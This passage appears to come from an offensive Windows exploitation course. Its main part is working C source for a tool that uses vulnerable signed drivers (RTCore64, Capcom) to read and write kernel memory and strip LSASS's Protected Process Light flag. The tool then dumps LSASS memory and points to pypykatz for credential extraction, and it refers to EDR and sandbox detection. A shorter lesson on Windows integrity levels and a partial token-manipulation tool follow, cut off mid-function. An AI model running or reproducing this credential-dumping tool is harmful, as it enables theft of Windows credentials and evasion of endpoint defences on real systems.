RTCORE64_MEMORY mem = {0};
mem.Address = address;
mem.Value = value;
mem.ReadSize = 4; // Size to write
DWORD bytes_returned = 0;
BOOL result = DeviceIoControl(hDevice, ioctl, &mem, sizeof(mem), &mem, sizeof(mem), &bytes_returned, NULL);
if (!result) {
printf("[-] DeviceIoControl write failed for address 0x%llX: %d\n", address, GetLastError());
}
}
BOOL WriteKernelMemory(HANDLE hDevice, int driver_index, ULONG_PTR address, PVOID buffer, SIZE_T size) {
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
DWORD bytes_returned;
if (_wcsicmp(driver->name, L"RTCore64") == 0) {
// Write in 4-byte chunks with validation
BYTE* in_buffer = (BYTE*)buffer;
ULONG_PTR current_addr = address;
SIZE_T remaining = size;
while (remaining > 0) {
DWORD val = 0;
SIZE_T to_write = (remaining >= 4) ? 4 : remaining;
memcpy(&val, in_buffer, to_write);
// Validate address before write
if ((current_addr & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid kernel address: 0x%llX\n", current_addr);
return FALSE;
}
// Read current value first to verify address is readable
DWORD current_val = ReadKernelDWORD(hDevice, driver->read_ioctl, current_addr);
printf("[*] Address 0x%llX: current=0x%08X, writing=0x%08X\n",
current_addr, current_val, val);
WriteKernelDWORD(hDevice, driver->write_ioctl, current_addr, val);
// Verify write succeeded
DWORD verify_val = ReadKernelDWORD(hDevice, driver->read_ioctl, current_addr);
if (verify_val != val) {
printf("[-] Write verification failed at 0x%llX: expected 0x%08X, got 0x%08X\n",
current_addr, val, verify_val);
return FALSE;
}
in_buffer += to_write;
current_addr += to_write;
remaining -= to_write;
}
return TRUE;
} else if (_wcsicmp(driver->name, L"Capcom") == 0) {
CAPCOM_IOCTL_REQUEST request = {0};
request.TargetAddress = address;
request.SourceAddress = (ULONG_PTR)buffer;
request.Size = size;
return DeviceIoControl(hDevice, driver->write_ioctl,
&request, sizeof(request),
NULL, 0,
&bytes_returned, NULL);
}
return FALSE;
}
// Get kernel symbol address by loading ntoskrnl.exe in usermode
ULONG_PTR GetKernelSymbol(ULONG_PTR kernel_base, const char* symbol_name) {
HMODULE hNtos = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtos) {
return 0;
}
PVOID pUserAddr = GetProcAddress(hNtos, symbol_name);
if (!pUserAddr) {
FreeLibrary(hNtos);
return 0;
}
ULONG_PTR rva = (ULONG_PTR)pUserAddr - (ULONG_PTR)hNtos;
FreeLibrary(hNtos);
return kernel_base + rva;
}
// Test if RTCore64 read is working
BOOL TestKernelRead(HANDLE hDevice, int driver_index) {
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
DWORD bytes_returned = 0;
// Simple test read using correct 48-byte structure
RTCORE64_MEMORY request = {0};
request.Address = 0xFFFFF80000000000ULL; // Typical kernel address
request.ReadSize = 4;
BOOL result = DeviceIoControl(hDevice, driver->read_ioctl,
&request, sizeof(request),
&request, sizeof(request),
&bytes_returned, NULL);
printf("[DEBUG] Test IOCTL result: %d, bytes_returned: %d, GetLastError: %d\n",
result, bytes_returned, GetLastError());
printf("[DEBUG] request.Value: 0x%08X\n", request.Value);
return result;
}
// Scan for PID offset by looking for value 4 (System process PID)
// Returns 0 if not found or if scan is disabled for safety
ULONG ScanForPidOffset(HANDLE hDevice, DWORD ioctl, DWORD64 eprocess_base) {
printf("[*] Scanning for PID offset (looking for value 4)...\n");
printf("[!] WARNING: Scanning can be dangerous - using known offsets first\n");
// Validate EPROCESS base looks like kernel address
if ((eprocess_base & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] Invalid EPROCESS base address: 0x%llX\n", eprocess_base);
return 0;
}
// Known good offsets to check first (from Vergilius Project)
// Order matters - try most common first
ULONG known_offsets[] = {
0x1D0, // Win11 24H2 Layout 1
0x440, // Win11 24H2 Layout 2, Win10 20H1+
0x2E8, // Win10 1809-1909
0x2E0, // Win10 older
0x448 // Alternative
};
int num_known = sizeof(known_offsets) / sizeof(known_offsets[0]);
for (int i = 0; i < num_known; i++) {
__try {
DWORD value = ReadKernelDWORD(hDevice, ioctl, eprocess_base + known_offsets[i]);
printf(" Offset 0x%X: value = %u (0x%X)\n", known_offsets[i], value, value);
if (value == 4) {
printf("[+] Found PID=4 at known offset 0x%X\n", known_offsets[i]);
return known_offsets[i];
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
printf("[-] Exception reading offset 0x%X\n", known_offsets[i]);
}
}
printf("[-] PID not found at known offsets\n");
printf("[!] NOT performing full scan to avoid potential crashes\n");
printf("[!] Please verify offsets using WinDbg: dt nt!_EPROCESS\n");
return 0;
}
// Scan for ActiveProcessLinks offset (look for valid kernel pointers)
ULONG ScanForLinksOffset(HANDLE hDevice, DWORD ioctl, DWORD64 eprocess_base, ULONG pid_offset) {
printf("[*] Scanning for ActiveProcessLinks offset...\n");
printf("[*] EPROCESS base: 0x%llX, PID offset: 0x%X\n", eprocess_base, pid_offset);
// Known offsets for ActiveProcessLinks (typically PID offset + 8)
ULONG known_links_offsets[] = {
pid_offset + 8, // Most common: right after UniqueProcessId
0x1D8, // Win11 24H2 Layout 1
0x448, // Win11 24H2 Layout 2, Win10 20H1+
0x2F0, // Win10 1809-1909
0x2E8 // Win10 older
};
int num_known = sizeof(known_links_offsets) / sizeof(known_links_offsets[0]);
for (int i = 0; i < num_known; i++) {
ULONG offset = known_links_offsets[i];
__try {
DWORD64 flink = ReadKernelQWORD(hDevice, ioctl, eprocess_base + offset);
// Validate it looks like a kernel pointer
if ((flink & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL ||
flink == 0xFFFFFFFFFFFFFFFFULL) {
continue;
}
// Read Blink to verify it's a LIST_ENTRY
DWORD64 blink = ReadKernelQWORD(hDevice, ioctl, eprocess_base + offset + 8);
if ((blink & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL ||
blink == 0xFFFFFFFFFFFFFFFFULL) {
continue;
}
printf(" Testing offset 0x%X: Flink=0x%llX, Blink=0x%llX\n", offset, flink, blink);
// Verify by following the link and checking PID
DWORD64 next_eprocess = flink - offset;
// Validate next EPROCESS address
if ((next_eprocess & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
continue;
}
DWORD next_pid = ReadKernelDWORD(hDevice, ioctl, next_eprocess + pid_offset);
if (next_pid > 0 && next_pid < 65536) {
printf("[+] Found valid ActiveProcessLinks at offset 0x%X (next PID: %u)\n",
offset, next_pid);
return offset;
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
printf("[-] Exception testing offset 0x%X\n", offset);
}
}
printf("[-] Could not find valid ActiveProcessLinks offset\n");
return 0;
}
// Get PsActiveProcessHead - try multiple methods
ULONG_PTR GetPsActiveProcessHead(HANDLE hDevice, int driver_index, ULONG_PTR kernel_base) {
DRIVER_INFO* driver = &g_vulnerable_drivers[driver_index];
// Method 1: Try direct export (works on older Windows)
ULONG_PTR ps_head = GetKernelSymbol(kernel_base, "PsActiveProcessHead");
if (ps_head) {
printf("[+] PsActiveProcessHead via export: 0x%llX\n", ps_head);
return ps_head;
}
// Method 2: Use PsInitialSystemProcess (always exported)
ULONG_PTR ps_initial = GetKernelSymbol(kernel_base, "PsInitialSystemProcess");
if (ps_initial) {
printf("[+] PsInitialSystemProcess address: 0x%llX\n", ps_initial);
printf("[*] Reading System EPROCESS pointer...\n");
__try {
DWORD64 system_eprocess = ReadKernelQWORD(hDevice, driver->read_ioctl, ps_initial);
// Validate the EPROCESS pointer looks reasonable
if (system_eprocess == 0 || system_eprocess == 0xFFFFFFFFFFFFFFFF) {
printf("[-] Invalid System EPROCESS pointer: 0x%llX\n", system_eprocess);
return 0;
}
// Check it looks like a kernel address
if ((system_eprocess & 0xFFFF800000000000ULL) != 0xFFFF800000000000ULL) {
printf("[-] System EPROCESS doesn't look like kernel address: 0x%llX\n", system_eprocess);
return 0;
}
printf("[+] System EPROCESS: 0x%llX\n", system_eprocess);
// Try configured offset first
printf("[*] Testing PID at offset 0x%X...\n", g_eprocess_offsets.UniqueProcessId);
DWORD pid = ReadKernelDWORD(hDevice, driver->read_ioctl,
system_eprocess + g_eprocess_offsets.UniqueProcessId);
printf("[*] Value at offset 0x%X: %u (0x%X)\n",
g_eprocess_offsets.UniqueProcessId, pid, pid);
if (pid == 4) {
printf("[+] Verified System EPROCESS - PID matches!\n");
// Also verify ActiveProcessLinks looks valid before using
DWORD64 flink = ReadKernelQWORD(hDevice, driver->read_ioctl,
system_eprocess + g_eprocess_offsets.ActiveProcessLinks);
printf("[*] ActiveProcessLinks.Flink: 0x%llX\n", flink);
if ((flink & 0xFFFF800000000000ULL) == 0xFFFF800000000000ULL &&
flink != 0xFFFFFFFFFFFFFFFFULL) {
printf("[+] ActiveProcessLinks looks valid\n");
return system_eprocess + g_eprocess_offsets.ActiveProcessLinks;
} else {
printf("[-] ActiveProcessLinks doesn't look valid\n");
}
}
// Offset wrong - try scanning known offsets only (safer)
printf("[!] Configured offset wrong, trying known offsets...\n");
ULONG found_pid_offset = ScanForPidOffset(hDevice, driver->read_ioctl, system_eprocess);
if (found_pid_offset) {
g_eprocess_offsets.UniqueProcessId = found_pid_offset;
// Find ActiveProcessLinks offset
ULONG found_links_offset = ScanForLinksOffset(hDevice, driver->read_ioctl,
system_eprocess, found_pid_offset);
if (found_links_offset) {
g_eprocess_offsets.ActiveProcessLinks = found_links_offset;
// Protection offset varies by build - use conservative estimate
// Typically 0x200-0x900 bytes into structure
g_eprocess_offsets.Protection = 0x87A; // Common for Win10/11
printf("[+] Updated offsets:\n");
printf(" UniqueProcessId: 0x%X\n", g_eprocess_offsets.UniqueProcessId);
printf(" ActiveProcessLinks: 0x%X\n", g_eprocess_offsets.ActiveProcessLinks);
printf(" Protection: 0x%X (estimated)\n", g_eprocess_offsets.Protection);
return system_eprocess + g_eprocess_offsets.ActiveProcessLinks;
} else {
printf("[-] Could not find ActiveProcessLinks - aborting for safety\n");
}
}
} __except(EXCEPTION_EXECUTE_HANDLER) {
printf("[-] Exception while reading System EPROCESS\n");
}
}
printf("[-] Could not find process list head\n");
printf("[!] This may require manual offset verification with WinDbg\n");
return 0;
}
ULONG_PTR FindEprocessByPid(HANDLE hDevice, int driver_index, DWORD pid) {
printf("[*] Finding EPROCESS for PID %d...\n", pid);
// Get kernel base
ULONG_PTR kernel_base = LeakKernelBase();
if (kernel_base == 0) {
return 0;
}
// Get process list starting point
ULONG_PTR list_start = GetPsActiveProcessHead(hDevice, driver_index, kernel_base);
if (list_start == 0) {
printf("[-] Failed to find process list\n");
return 0;
}
// Read the LIST_ENTRY at our starting point
LIST_ENTRY head;
if (!ReadKernelMemory(hDevice, driver_index, list_start, &head, sizeof(head))) {
printf("[-] Failed to read process list\n");
return 0;
}
// Walk the linked list
ULONG_PTR current_entry = (ULONG_PTR)head.Flink;
ULONG_PTR start_entry = current_entry;
do {
// Calculate EPROCESS base from ActiveProcessLinks offset
ULONG_PTR eprocess = current_entry - g_eprocess_offsets.ActiveProcessLinks;
// Read the PID
DWORD current_pid;
if (!ReadKernelMemory(hDevice, driver_index,
eprocess + g_eprocess_offsets.UniqueProcessId,
¤t_pid, sizeof(current_pid))) {
break;
}
if (current_pid == pid) {
printf("[+] Found EPROCESS for PID %d: 0x%llX\n", pid, eprocess);
return eprocess;
}
// Move to next entry
LIST_ENTRY next_entry;
if (!ReadKernelMemory(hDevice, driver_index, current_entry, &next_entry, sizeof(next_entry))) {
break;
}
current_entry = (ULONG_PTR)next_entry.Flink;
// Safety check to prevent infinite loop
if (current_entry == start_entry) {
break;
}
} while (current_entry != start_entry);
printf("[-] EPROCESS for PID %d not found\n", pid);
return 0;
}
BOOL BypassPplProtection(HANDLE hDevice, int driver_index, DWORD lsass_pid) {
printf("[*] Bypassing PPL protection for LSASS (PID %d)...\n", lsass_pid);
// Find LSASS EPROCESS
ULONG_PTR lsass_eprocess = FindEprocessByPid(hDevice, driver_index, lsass_pid);
if (lsass_eprocess == 0) {
return FALSE;
}
// Read current protection - use ULONG_PTR to avoid truncation
UCHAR current_protection;
ULONG_PTR protection_offset = lsass_eprocess + g_eprocess_offsets.Protection;
if (!ReadKernelMemory(hDevice, driver_index, protection_offset,
¤t_protection, sizeof(current_protection))) {
printf("[-] Failed to read current protection\n");
return FALSE;
}
printf("[*] Current PPL protection: 0x%02X\n", current_protection);
// Remove protection by writing 0
UCHAR zero_protection = 0;
printf("[*] Attempting kernel write...\n");
if (!WriteKernelMemory(hDevice, driver_index, protection_offset,
&zero_protection, sizeof(zero_protection))) {
printf("[-] Failed to remove PPL protection\n");
return FALSE;
}
printf("[+] PPL protection removed successfully\n");
// Verify protection was removed
UCHAR verify_protection;
if (ReadKernelMemory(hDevice, driver_index, protection_offset,
&verify_protection, sizeof(verify_protection))) {
printf("[*] Verification - New protection: 0x%02X\n", verify_protection);
if (verify_protection != 0) {
printf("[!] WARNING: Protection value is not 0 - write may have failed\n");
return FALSE;
}
}
return TRUE;
}
// Fast direct memory dump - bypasses MiniDumpWriteDump overhead
BOOL FastDumpLsass(DWORD lsass_pid, const char* output_path) {
printf("[*] Fast-dumping LSASS memory to %s...\n", output_path);
// Open LSASS with full access
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsass_pid);
if (hLsass == NULL) {
printf("[-] Failed to open LSASS: %d\n", GetLastError());
return FALSE;
}
printf("[+] Opened LSASS with PROCESS_ALL_ACCESS\n");
// Query memory regions
MEMORY_BASIC_INFORMATION mbi;
SIZE_T address = 0;
SIZE_T total_dumped = 0;
DWORD start_time = GetTickCount();
// Create dump file
HANDLE hFile = CreateFileA(output_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dump file: %d\n", GetLastError());
CloseHandle(hLsass);
return FALSE;
}
printf("[*] Scanning memory regions");
// Allocate 1MB buffer for fast reads
BYTE* buffer = (BYTE*)VirtualAlloc(NULL, 1024 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buffer) {
printf("[-] Failed to allocate buffer\n");
CloseHandle(hFile);
CloseHandle(hLsass);
return FALSE;
}
int regions_dumped = 0;
// Walk memory regions
while (VirtualQueryEx(hLsass, (LPCVOID)address, &mbi, sizeof(mbi)) == sizeof(mbi)) {
// Only dump committed, readable memory (skip guard pages, free regions)
if (mbi.State == MEM_COMMIT &&
(mbi.Protect & (PAGE_READONLY | PAGE_READWRITE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE)) &&
!(mbi.Protect & PAGE_GUARD)) {
SIZE_T bytes_read = 0;
if (ReadProcessMemory(hLsass, (LPCVOID)address, buffer, mbi.RegionSize, &bytes_read)) {
DWORD bytes_written = 0;
WriteFile(hFile, buffer, (DWORD)bytes_read, &bytes_written, NULL);
total_dumped += bytes_read;
regions_dumped++;
// Progress indicator every 10 regions
if (regions_dumped % 10 == 0) {
printf(".");
fflush(stdout);
}
}
}
address += mbi.RegionSize;
// Safety check - don't scan beyond user space
if (address >= 0x7FFFFFFFFFFF) break;
}
VirtualFree(buffer, 0, MEM_RELEASE);
CloseHandle(hFile);
CloseHandle(hLsass);
DWORD elapsed = (GetTickCount() - start_time) / 1000;
if (elapsed == 0) elapsed = 1; // Avoid division by zero
printf("\n");
printf("[+] Fast dump completed\n");
printf("[*] Regions dumped: %d\n", regions_dumped);
printf("[*] Total size: %.2f MB\n", total_dumped / (1024.0 * 1024.0));
printf("[*] Time taken: %d seconds\n", elapsed);
printf("[*] Dump speed: %.2f MB/s\n", (total_dumped / (1024.0 * 1024.0)) / elapsed);
printf("\n[!] Note: This is a raw memory dump, not a minidump format\n");
printf("[!] For credential extraction, use the standard MiniDumpWriteDump method\n");
printf("[!] This fast method is for demonstration/comparison only\n");
return TRUE;
}
// Standard minidump with progress callback
BOOL CALLBACK MiniDumpCallback(
PVOID CallbackParam,
const PMINIDUMP_CALLBACK_INPUT CallbackInput,
PMINIDUMP_CALLBACK_OUTPUT CallbackOutput
) {
if (CallbackInput->CallbackType == ModuleCallback) {
printf(".");
fflush(stdout);
return TRUE;
}
return TRUE;
}
BOOL DumpLsassMemory(DWORD lsass_pid, const char* output_path) {
printf("[*] Dumping LSASS memory to %s...\n", output_path);
// Open LSASS with full access
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsass_pid);
if (hLsass == NULL) {
printf("[-] Failed to open LSASS: %d\n", GetLastError());
return FALSE;
}
printf("[+] Opened LSASS with PROCESS_ALL_ACCESS\n");
// Create dump file
HANDLE hFile = CreateFileA(output_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dump file: %d\n", GetLastError());
CloseHandle(hLsass);
return FALSE;
}
printf("[*] Creating minidump (pypykatz-compatible format)");
DWORD start_time = GetTickCount();
// Use MiniDumpWithDataSegs - faster and sufficient for credentials
MINIDUMP_TYPE dump_type = (MINIDUMP_TYPE)(
MiniDumpWithDataSegs |
MiniDumpWithHandleData |
MiniDumpWithUnloadedModules |
MiniDumpWithProcessThreadData
);
MINIDUMP_CALLBACK_INFORMATION callback_info;
callback_info.CallbackRoutine = MiniDumpCallback;
callback_info.CallbackParam = NULL;
BOOL success = MiniDumpWriteDump(
hLsass, lsass_pid, hFile,
dump_type,
NULL, NULL, &callback_info
);
printf("\n");
DWORD elapsed = (GetTickCount() - start_time) / 1000;
if (elapsed == 0) elapsed = 1;
if (success) {
LARGE_INTEGER file_size;
GetFileSizeEx(hFile, &file_size);
printf("[+] LSASS dump created successfully\n");
printf("[*] Dump size: %.2f MB\n", file_size.QuadPart / (1024.0 * 1024.0));
printf("[*] Time taken: %d seconds\n", elapsed);
printf("[*] Dump speed: %.2f MB/s\n",
(file_size.QuadPart / (1024.0 * 1024.0)) / elapsed);
} else {
printf("[-] MiniDumpWriteDump failed: %d\n", GetLastError());
}
CloseHandle(hFile);
CloseHandle(hLsass);
return success;
}
int main(int argc, char* argv[]) {
printf(" PPL Bypass - Multi-Driver Support\n\n");
// Initialize anti-analysis
InitializeAntiAnalysis();
if (g_anti_ctx.is_edr_present && g_anti_ctx.stealth_level < 3) {
printf("[!] EDR detected - consider using higher stealth level\n");
}
// Enumerate vulnerable drivers
EnumerateVulnerableDrivers();
// Find a loaded vulnerable driver
int driver_index = -1;
for (int i = 0; i < DRIVER_COUNT; i++) {
if (g_vulnerable_drivers[i].is_loaded) {
driver_index = i;
break;
}
}
if (driver_index == -1) {
printf("[-] No vulnerable drivers found\n");
printf("[*] Consider loading a vulnerable driver first\n");
return 1;
}
printf("[+] Using driver: %ls (CVE-%d)\n",
g_vulnerable_drivers[driver_index].name,
g_vulnerable_drivers[driver_index].cve_year);
// Detect EPROCESS offsets
if (!DetectEprocessOffsets()) {
return 1;
}
// Open the vulnerable driver
HANDLE hDevice = OpenVulnerableDriver(driver_index);
if (hDevice == INVALID_HANDLE_VALUE) {
return 1;
}
// Find LSASS PID
printf("[*] Finding LSASS process...\n");
DWORD lsass_pid = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot != INVALID_HANDLE_VALUE) {
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, L"lsass.exe") == 0) {
lsass_pid = pe32.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
}
if (lsass_pid == 0) {
printf("[-] LSASS process not found\n");
CloseHandle(hDevice);
return 1;
}
printf("[+] Found LSASS PID: %d\n", lsass_pid);
// Bypass PPL protection
if (!BypassPplProtection(hDevice, driver_index, lsass_pid)) {
printf("[-] PPL bypass failed\n");
CloseHandle(hDevice);
return 1;
}
// Dump LSASS memory - use fast method in VMs
char dump_path[MAX_PATH];
sprintf_s(dump_path, sizeof(dump_path), "lsass_dump_%d.raw", lsass_pid);
printf("\n[*] Dumping LSASS memory...\n");
// Check if we're in a VM or sandbox
if (g_anti_ctx.is_vm || g_anti_ctx.is_sandbox || g_anti_ctx.stealth_level >= 2) {
printf("[*] VM/Sandbox detected - using fast raw dump method\n");
printf("[!] MiniDumpWriteDump is extremely slow in VMs due to memory introspection\n");
if (FastDumpLsass(lsass_pid, dump_path)) {
printf("\n[+] PPL bypass completed successfully!\n");
printf("[*] Raw dump saved to: %s\n", dump_path);
if (g_anti_ctx.is_edr_present) {
printf("\n[!] EDR was present - monitor for alerts\n");
}
} else {
printf("[-] Fast dump failed\n");
CloseHandle(hDevice);
return 1;
}
} else {
// Physical machine - try standard minidump
printf("[*] Physical machine detected - using standard minidump\n");
char minidump_path[MAX_PATH];
sprintf_s(minidump_path, sizeof(minidump_path), "lsass_dump_%d.dmp", lsass_pid);
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsass_pid);
if (!hLsass) {
printf("[-] Failed to open LSASS: %d\n", GetLastError());
CloseHandle(hDevice);
return 1;
}
HANDLE hFile = CreateFileA(minidump_path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create dump file: %d\n", GetLastError());
CloseHandle(hLsass);
CloseHandle(hDevice);
return 1;
}
MINIDUMP_TYPE dump_type = (MINIDUMP_TYPE)(
MiniDumpWithDataSegs |
MiniDumpWithHandleData |
MiniDumpWithUnloadedModules |
MiniDumpWithProcessThreadData
);
BOOL success = MiniDumpWriteDump(
hLsass, lsass_pid, hFile,
dump_type,
NULL, NULL, NULL
);
CloseHandle(hFile);
CloseHandle(hLsass);
if (success) {
printf("[+] Minidump completed successfully\n");
printf("\n[+] PPL bypass completed successfully!\n");
printf("[*] LSASS dump saved to: %s\n", minidump_path);
printf("\n[*] Extract credentials with pypykatz:\n");
printf(" pypykatz lsa minidump %s\n", minidump_path);
} else {
printf("[-] MiniDumpWriteDump failed: %d\n", GetLastError());
printf("[*] Falling back to fast raw dump...\n");
if (FastDumpLsass(lsass_pid, dump_path)) {
printf("\n[+] PPL bypass completed with raw dump!\n");
printf("[*] Raw dump saved to: %s\n", dump_path);
} else {
printf("[-] All dump methods failed\n");
CloseHandle(hDevice);
return 1;
}
}
}
// Cleanup
CloseHandle(hDevice);
printf("\n[*] Operation completed - exiting cleanly\n");
return 0;
}
Windows uses multiple layers of process isolation beyond the traditional user/admin boundary. This day teaches you to understand and defeat these isolation mechanisms.
┌─────────────────────────────────────────────────────────────────┐
│ Windows Integrity Level Architecture │
├─────────────────────────────────────────────────────────────────┤
│ │
│ INTEGRITY LEVELS (Mandatory Labels): │
│ ───────────────────────────────────── │
│ System (S-1-16-16384) │ Services, kernel-mode │
│ High (S-1-16-12288) │ Elevated admin processes │
│ Medium (S-1-16-8192) │ Standard user processes │
│ Low (S-1-16-4096) │ Browser renderers, temp folders │
│ Untrusted (S-1-16-0) │ Most restricted │
│ │
│ MANDATORY POLICY: │
│ ───────────────── │
│ No-Write-Up: Lower IL cannot write to higher IL objects │
│ No-Read-Up: Lower IL cannot read higher IL objects │
│ No-Execute-Up: Lower IL cannot execute higher IL binaries │
│ │
│ DEFAULT POLICY: No-Write-Up only │
│ -> A Low-IL process CAN read Medium-IL files by default! │
│ │
│ ATTACK IMPLICATIONS: │
│ ───────────────────── │
│ Low IL -> Medium IL: │
│ ├── Can read files, registry (unless explicitly labeled) │
│ ├── Cannot write to Medium-IL system locations (Windows, PF) │
│ ├── CAN write to own user files (owner rights override IL) │
│ ├── Can write to %LOCALAPPDATA%\Low, %TEMP%\Low │
│ ├── Can communicate via COM, shared memory │
│ └── Can exploit higher-IL services listening on interfaces │
│ │
└─────────────────────────────────────────────────────────────────┘
// integrity_level_tool.c - Enumerate integrity levels
// Compile: cl src\integrity_level_tool.c /Fe:bin\integrity_level_tool.exe advapi32.lib
#include <windows.h>
#include <sddl.h>
#include <stdio.h>
#include <errno.h>
// Well-known integrity level SIDs
#define INTEGRITY_UNTRUSTED_SID "S-1-16-0"
#define INTEGRITY_LOW_SID "S-1-16-4096"
#define INTEGRITY_MEDIUM_SID "S-1-16-8192"
#define INTEGRITY_HIGH_SID "S-1-16-12288"
#define INTEGRITY_SYSTEM_SID "S-1-16-16384"
const char* GetIntegrityLevelName(DWORD level) {
switch (level) {
case 0x0000: return "Untrusted";
case 0x1000: return "Low";
case 0x2000: return "Medium";
case 0x2100: return "Medium Plus";
case 0x3000: return "High";
case 0x4000: return "System";
case 0x5000: return "Protected Process";
default: return "Unknown";
}
}
void GetProcessIntegrityLevel(HANDLE hProcess) {
HANDLE hToken;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken failed: %d\n", GetLastError());
return;
}
DWORD dwSize = 0;
GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwSize);
PTOKEN_MANDATORY_LABEL pLabel = (PTOKEN_MANDATORY_LABEL)malloc(dwSize);
if (GetTokenInformation(hToken, TokenIntegrityLevel, pLabel, dwSize, &dwSize)) {
DWORD integrityLevel = *GetSidSubAuthority(
pLabel->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(pLabel->Label.Sid) - 1)
);
printf("[+] Integrity Level: %s (0x%04X)\n",
GetIntegrityLevelName(integrityLevel), integrityLevel);
// Show the SID
LPSTR sidString = NULL;
ConvertSidToStringSidA(pLabel->Label.Sid, &sidString);
printf(" SID: %s\n", sidString);
LocalFree(sidString);
}
free(pLabel);
CloseHandle(hToken);
}
BOOL TestIntegrityRestrictions(const char* label) {
printf("\n[*] Testing %s Integrity Level restrictions:\n", label);
// Test 1: Write to user profile
printf(" [TEST] Write to %%USERPROFILE%%\\il_test.txt: ");
FILE* f = fopen("C:\\Users\\dev\\il_test.txt", "w");
if (f) {
fprintf(f, "test from %s IL\n", label);
fclose(f);
printf("SUCCESS\n");
} else {
printf("FAILED (errno: %d)\n", errno);
}
// Test 2: Write to registry
printf(" [TEST] Write to HKCU\\Software\\ILTest: ");
HKEY hKey;
LONG result = RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\ILTest", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
if (result == ERROR_SUCCESS) {
RegSetValueExA(hKey, label, 0, REG_SZ, (BYTE*)label, strlen(label) + 1);
RegCloseKey(hKey);
printf("SUCCESS\n");
} else {
printf("FAILED (error: %ld)\n", result);
}
// Test 3: Write to system location
printf(" [TEST] Write to C:\\Windows\\il_test.txt: ");
f = fopen("C:\\Windows\\il_test.txt", "w");
if (f) {
fprintf(f, "test\n");
fclose(f);
printf("SUCCESS\n");
} else {
printf("FAILED (errno: %d)\n", errno);
}
// Test 4: Read from user profile
printf(" [TEST] Read from %%USERPROFILE%%\\Desktop\\desktop.ini: ");
f = fopen("C:\\Users\\dev\\Desktop\\desktop.ini", "r");
if (f) {
fclose(f);
printf("SUCCESS\n");
} else {
printf("FAILED (errno: %d)\n", errno);
}
return TRUE;
}
BOOL SpawnLowIntegrityProcess(const char* cmdLine) {
printf("[*] Spawning Low-IL process: %s\n", cmdLine);
HANDLE hToken, hNewToken;
PSID pLowSid = NULL;
// Get current process token
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY |
TOKEN_ADJUST_DEFAULT | TOKEN_ASSIGN_PRIMARY, &hToken)) {
printf("[-] OpenProcessToken failed\n");
return FALSE;
}
// Duplicate token with all access rights
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation,
TokenPrimary, &hNewToken)) {
printf("[-] DuplicateTokenEx failed: %d\n", GetLastError());
CloseHandle(hToken);
return FALSE;
}
// Create Low integrity SID
ConvertStringSidToSidA(INTEGRITY_LOW_SID, &pLowSid);
// Set token integrity level to Low
TOKEN_MANDATORY_LABEL label = {0};
label.Label.Attributes = SE_GROUP_INTEGRITY;
label.Label.Sid = pLowSid;
if (!SetTokenInformation(hNewToken, TokenIntegrityLevel,
&label, sizeof(label) + GetLengthSid(pLowSid))) {
printf("[-] SetTokenInformation failed\n");
LocalFree(pLowSid);
CloseHandle(hNewToken);
CloseHandle(hToken);
return FALSE;
}
// Create process with low integrity token
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
char cmdBuf[MAX_PATH];
strcpy(cmdBuf, cmdLine);
if (CreateProcessAsUserA(hNewToken, NULL, cmdBuf, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi)) {
printf("[+] Low-IL process created, PID: %d\n", pi.dwProcessId);
// Wait for process to complete
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("[-] CreateProcessAsUser failed: %d\n", GetLastError());
}
LocalFree(pLowSid);
CloseHandle(hNewToken);
CloseHandle(hToken);
return TRUE;
}
int main() {
// Check if we're being called for Low-IL test
if (__argc > 1 && strcmp(__argv[1], "--low-il-test") == 0) {
printf("\n[*] Running in Low-IL child process:\n");
GetProcessIntegrityLevel(GetCurrentProcess());
TestIntegrityRestrictions("Low");
return 0;
}
printf("=== Integrity Level Analysis Tool ===\n\n");
printf("[*] Current process:\n");
GetProcessIntegrityLevel(GetCurrentProcess());
// Test at Medium IL
TestIntegrityRestrictions("Medium");
printf("\n[*] Now testing at Low IL...\n");
// Create a temporary test program that runs the same tests
char testCmd[512];
sprintf(testCmd, "\"%s\" --low-il-test", __argv[0]);
